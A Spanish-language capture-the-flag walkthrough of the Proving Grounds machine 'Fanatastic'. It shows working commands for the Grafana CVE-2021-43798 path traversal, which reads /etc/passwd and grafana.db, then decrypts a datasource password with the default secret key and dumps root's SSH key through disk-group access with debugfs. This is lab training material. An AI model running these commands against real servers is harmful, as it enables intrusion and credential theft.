the_open_door
café
ESEN

Fanatastic

Proving Grounds PracticeFácilLinux192.168.233.181

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#grafana#cve-2021-43798#path-traversal#arbitrary-file-read#sqlite#credential-decryption#disk-group#debugfs#ssh#oscp
TL;DR. Fanatastic expone Grafana v8.3.0, vulnerable a la lectura arbitraria de ficheros por path traversal (CVE-2021-43798). Con ella descargamos grafana.db, sacamos de la tabla data_source la contraseña cifrada del usuario sysadmin y la desciframos con la clave por defecto de grafana.ini, obteniendo SuperSecureP@ssw0rd. Esa credencial abre SSH como sysadmin, que pertenece al grupo disk: con debugfs leemos el disco en crudo y volcamos la clave privada SSH de root (abuso del grupo disk), lo que nos da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo devuelve tres puertos:

ping -c 1 192.168.233.181
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.233.181
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  http
9090/tcp open  http
nmap -p22,3000,9090 -sCV 192.168.233.181 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Grafana http
|_http-title: Grafana
9090/tcp open  http    Golang net/http server
|_http-title: Prometheus Time Series Collection and Processing Server

El 9090 es un Prometheus (métricas) y el 3000 un Grafana (paneles de visualización que suele alimentarse de Prometheus). El vector está en Grafana.

Grafana - TCP 3000

El panel de login identifica la versión: Grafana v8.3.0.

Panel de login de Grafana v8.3.0 en el puerto 3000

Esa versión arrastra una vulnerabilidad conocida. searchsploit la confirma:

searchsploit grafana
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py

Explotación

CVE-2021-43798: lectura arbitraria de ficheros

Grafana sirve los recursos de sus plugins bajo /public/plugins/<plugin>/. Antes de la 8.3.1 no saneaba la ruta, así que un ../ encadenado escapa del directorio del plugin y lee cualquier fichero con los permisos del proceso (CVE-2021-43798). El nombre del plugin (alertlist) debe ser uno instalado; --path-as-is evita que curl colapse los ../:

curl http://192.168.233.181:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd --path-as-is 2>/dev/null | grep sh

curl con el traversal devuelve /etc/passwd; filtrando por sh aparecen root, sshd, grafana y sysadmin

root:x:0:0:root:/root:/bin/bash
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
grafana:x:113:117::/usr/share/grafana:/bin/false
sysadmin:x:1001:1001::/home/sysadmin:/bin/sh

Funciona: el servidor nos devuelve /etc/passwd. Filtrando por sh se ve quién tiene shell real, y ahí aparece sysadmin (uid 1001, /bin/sh), un usuario que conviene retener porque el SSH del 22 sigue abierto. El fichero más jugoso no es ese, sino la base de datos SQLite de Grafana, en /var/lib/grafana/grafana.db, donde se guardan los usuarios y las conexiones a datasources:

curl http://192.168.233.181:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db --path-as-is > grafana.db
file grafana.db
sqlite3 grafana.db

curl descarga grafana.db (SQLite 3.x) y sqlite3 lista sus tablas, entre ellas data_source

grafana.db: SQLite 3.x database, last written using SQLite version 3035004, ...
SQLite version 3.46.1 2024-08-13 09:16:08
sqlite> .table
alert                    ngalert_configuration
...
data_source              user

La base de datos es una SQLite 3.x válida y .table muestra la tabla data_source, que guarda las conexiones a datasources.

Descifrar la credencial del datasource

En la tabla data_source aparece el datasource de Prometheus, configurado con autenticación básica. El usuario es sysadmin y su contraseña viaja cifrada en el campo secureJsonData (basicAuthPassword):

sqlite3 grafana.db 'select * from data_source;'

La tabla data_source revela el usuario sysadmin y su basicAuthPassword cifrada

...|sysadmin||0|{}|...|{"basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="}|...

Grafana cifra estos secretos con AES usando la secret_key de grafana.ini. En una instalación que no la cambia, esa clave es la de fábrica, SW2YcwTIb9zpOOhoPsMm, así que el cifrado es reversible. En vez de reimplementar el AES a mano, la búsqueda grafana password decryption devuelve un descifrador público hecho justo para esta CVE:

Búsqueda grafana password decryption: el repositorio Sic4rio/Grafana-Decryptor-for-CVE-2021-43798, que descifra las contraseñas de datasource de una instancia vulnerable

GitHub
Sic4rio/Grafana-Decryptor-for-CVE-2021-43798
This script decrypts the DataSource passwords from a Grafana instance vulnerable to CVE-2021-43798,
which allows unauthorized arbitrary file reading.

El repositorio (repo) hace el trabajo:

git clone https://github.com/Sic4rio/Grafana-Decryptor-for-CVE-2021-43798
cd Grafana-Decryptor-for-CVE-2021-43798
pip3 install -r requirements.txt --break-system-packages
python3 decrypt.py

El descifrador devuelve la contraseña en claro: SuperSecureP@ssw0rd

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

La contraseña en claro es SuperSecureP@ssw0rd.

Shell como sysadmin

SSH con la credencial descifrada

El nombre sysadmin coincide con un usuario del sistema (lo vimos en /etc/passwd). Probamos la contraseña por SSH y entra:

ssh sysadmin@192.168.233.181

Sesión SSH abierta como sysadmin con la contraseña descifrada

sysadmin@192.168.233.181's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
Last login: Thu Jan 22 22:11:20 2026 from 192.168.45.219
$ whoami
sysadmin

La contraseña descifrada abre sesión: ya somos sysadmin.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como sysadmin en fanatastic

86c24ce16176204e84710a16e434aea7
sysadmin

Escalada de privilegios

Abuso del grupo disk

id muestra que sysadmin pertenece al grupo disk (gid 6). Ese grupo da acceso de lectura y escritura a los dispositivos de bloque en crudo (/dev/sda*), es decir, al disco por debajo del sistema de permisos de ficheros (abuso del grupo disk). Con lsblk vemos que la raíz / está en /dev/sda2; debugfs abre esa partición en crudo y nos deja leer cualquier fichero, ignorando sus permisos, incluida la clave privada de root:

id
lsblk
debugfs /dev/sda2
debugfs:  cat /root/.ssh/id_rsa

id revela el grupo disk; debugfs sobre /dev/sda2 vuelca la clave privada SSH de root

sysadmin@fanatastic:~$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)
sysadmin@fanatastic:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk
├─sda1   8:1    0    1M  0 part
└─sda2   8:2    0   10G  0 part /
sysadmin@fanatastic:~$ debugfs /dev/sda2
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rc2EyNTUxOQAAAAt...<SNIP>

sysadmin está en el grupo 6(disk), la raíz / vive en /dev/sda2 y debugfs vuelca la clave privada de root ignorando los permisos de fichero. Copiamos la clave, le damos permisos correctos y entramos como root por SSH (a localhost, porque la clave está autorizada para la cuenta local):

nano id_rsa; chmod 600 id_rsa
ssh -i id_rsa root@localhost

Sesión SSH como root usando la clave privada extraída con debugfs

sysadmin@fanatastic:~$ ssh -i id_rsa root@localhost
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
Last login: Thu Jan 22 22:24:53 2026 from 127.0.0.1
root@fanatastic:~# whoami
root

La clave privada abre sesión como root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en fanatastic

1ddd498c8127a3adf85b01bf1eafd3fb
root

Cadena de ataque

HTTP (3000)  --  Grafana v8.3.0
        │  CVE-2021-43798: lectura arbitraria -> grafana.db
        │  data_source: basicAuthPassword cifrada (sysadmin)
        │  secret_key por defecto -> descifrar -> SuperSecureP@ssw0rd
        ▼
SSH sysadmin  (local.txt)
        │  grupo disk -> debugfs /dev/sda2 -> /root/.ssh/id_rsa
        │  ssh -i id_rsa root@localhost
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Una versión en el login basta para abrir la caja. Grafana 8.3.0 anuncia su versión y con ella la CVE-2021-43798. Fijarse en la versión de cada servicio es el primer filtro.
  • El path traversal no es solo /etc/passwd. Lo valioso fue la base de datos de la aplicación: grafana.db guardaba usuarios y credenciales de datasources. Saber dónde vive el estado de cada servicio multiplica el impacto de una lectura arbitraria.
  • Cifrar con una clave por defecto es no cifrar. La secret_key de fábrica de Grafana convierte el basicAuthPassword en reversible. Cambiar las claves de cifrado en la instalación no es opcional.
  • El grupo disk es root en diferido. Leer /dev/sda2 con debugfs saltó todos los permisos de fichero y expuso la clave privada de root. Pertenecer a disk equivale a leer (y escribir) todo el disco.
Cheatsheet de comandos 12 comandos

Repaso rápido